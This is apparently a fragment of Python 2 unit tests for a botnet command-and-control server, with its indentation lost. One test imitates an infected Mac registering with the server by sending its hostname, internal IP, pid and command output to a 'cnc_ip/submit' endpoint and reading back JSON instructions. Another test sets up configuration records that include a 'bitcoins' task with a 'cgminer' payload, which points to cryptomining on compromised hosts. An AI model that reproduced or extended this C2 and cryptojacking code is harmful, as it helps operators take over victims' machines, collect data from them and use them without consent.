def test_registration_mac(self):
print "Testing Mac Registration..."
params = {}
params["os_type="] = "mac"
params["os_ver="] = settings.local_data['os_ver']
params["alive="] = settings.local_data['alive']
params["working="] = settings.local_data['working']
params["purpose="] = settings.local_data['purpose']
params["version="] = str(version)
params["pid="] = settings.local_data['pid']
params["alive="] = settings.local_data['alive']
params["ii="] = settings.local_data['int_ip']
params["hostname="] = settings.local_data['hostname']
params["general_cmd_output="] = json.dumps(validict1(settings.local_data, 'general_cmd_output'))
request2 = ""
for key in params:
request2 = request2 + "&" + key + params[key]
request = '%s/submit?%s' % (cnc_ip, request2)
# print request
req = urllib2.Request(request)
try:
response = urllib2.urlopen(req)
instructions = response.read()
try:
config = json.loads(instructions)
except:
return "JSON load failed"
except:
return "Request Failed"
# print config
self.assertTrue(isDict(config), False)
if isDict(config):
self.assertEqual(config['os_type'], "mac", "Incorrect response")
for key in config:
if key == 'version':
gen_cfg = ConfFile(purpose="general", version="0.0004")
gen_cfg.save()
self.assertEqual(config[key], gen_cfg.version, "Version mismatch detected:%s,%s" % (config[key], gen_cfg.version))
def test_data(self):
print "Creating test data..."
gen_cfg = ConfFile(purpose="general", version="0.0004", upd_loc="CNC.py")
btc_cfg = ConfFile(purpose="bitcoins", version="0.0001", payload_url_linux="cgminer")
host = Client(hostname="some_host", os_type='os_type', alive='alive', working='working', current_purpose='purpose', int_ip='ternal_ip', ext_ip='external_ip', version='version')
gen_cfg.save()
btc_cfg.save()
host.save()
